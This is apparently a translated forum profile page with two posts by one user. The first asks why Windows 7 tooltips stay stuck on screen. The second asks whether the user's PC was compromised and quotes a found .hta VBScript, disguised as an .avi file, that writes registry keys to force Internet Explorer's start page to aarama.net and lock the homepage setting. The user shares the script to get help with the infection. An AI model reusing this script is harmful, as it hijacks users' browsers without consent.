小编sda*_*dfd的帖子

这是一个屏幕截图：

它经常发生，但并非总是如此。这张截图是在浏览网页不到一个小时后截取的，拼命地搜索东西，大量的鼠标移动，再加上做别的事情，不记得是什么软件了。例如，如果我按下开始键，整个顶部区域都会被清理干净。

它不仅仅发生在任务栏附近，例如，如果在我使用 alt-tab 切换到另一个应用程序时软件的工具提示开始显示，那么它仍然会显示并停留在屏幕上，直到我会把鼠标移到它上面。

通常，我只会在更新 Windows 时重新启动我的笔记本电脑，在其他情况下，我只会让它进入睡眠或休眠状态。我经常在 1 和 2 显示器设置之间切换。有时我会全屏玩电子游戏。

自从我几年前安装 Windows 副本以来，这个问题就一直存在，我相信。当时用谷歌搜索，没有找到任何东西，现在用谷歌搜索，仍然一无所获。这不是一件紧急的事情，但它已经让我太好奇了。

一些规格：Windows 7 x64 Pro - 最新；Acer Extensa 5630g 笔记本电脑，ATI Mobility HD 3650（CD 附带的原始驱动程序，用于我的笔记本电脑；请不要告诉我更新，因为新驱动程序可能会变得非常有问题），Intel core2duo T5800

编辑 ：

• 添加了赏金。

• 请解释为什么会发生这种情况，如果存在，请提供解决方案。我不只是在寻找一种隐藏问题的方法。

• 提醒一下：大量工具提示卡在边缘（如屏幕截图所示），此外，如果我在应用程序之间快速切换，整个工具提示可能会卡在屏幕中央。

编辑2：

• 距离我必须授予赏金还剩三天，因为我没有看到任何值得信赖的答案，至少引导我到其他地方可以问这个问题。我的 Windows 副本是 MSDNAA 许可的副本，我获得了在该计划中注册的罗马尼亚教职员工的钥匙。我不确定微软是否有任何其他官方支持，除了他们在我教职员工中的代表，我在接下来的几个月或一年后无法联系到他们，而且我不确定他会是能够帮助我。

请帮助我确定我的计算机是否已被入侵。

我还不确定这是什么……我还在浏览我在“研究”期间发现的一些 JavaScript（我的级别 = 初学者）文件……

故事：

1. Windows 7 x64 Professional、Eset Smart Security 4.2.71.2、最新版 Firefox、最新版 Chrome、IE 8

2. 我在 Chrome 的默认下载文件夹中找到了一个文件adam-liseli-kizi-otele-goturup-sikiyor.avi.hta 它是一个 VB 脚本：

   Set shell = CreateObject("WScript.Shell")
   shell.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\URL\Prefixes\\mirc","http://aarama.net/","REG_SZ"
   shell.regwrite "HKLM\Software\Policies\Microsoft\Internet Explorer\Control Panel\\HomePage","00000001","REG_DWORD"
   shell.regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\\HomePage","00000001","REG_DWORD"
   shell.regwrite "HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\\Start Page", "http://aarama.net/","REG_SZ"
   shell.regwrite "HKLM\SOFTWARE\Microsoft\Internet Explorer\Main\\Start Page", "http://aarama.net/","REG_SZ" 
   self.Close
   

   Run Code Online (Sandbox Code Playgroud)

3. 我关注了aarama.net，发现有一个钓鱼网站（我认为）看起来像谷歌，其中包含很多我现在正在尝试理解的 JavaScript。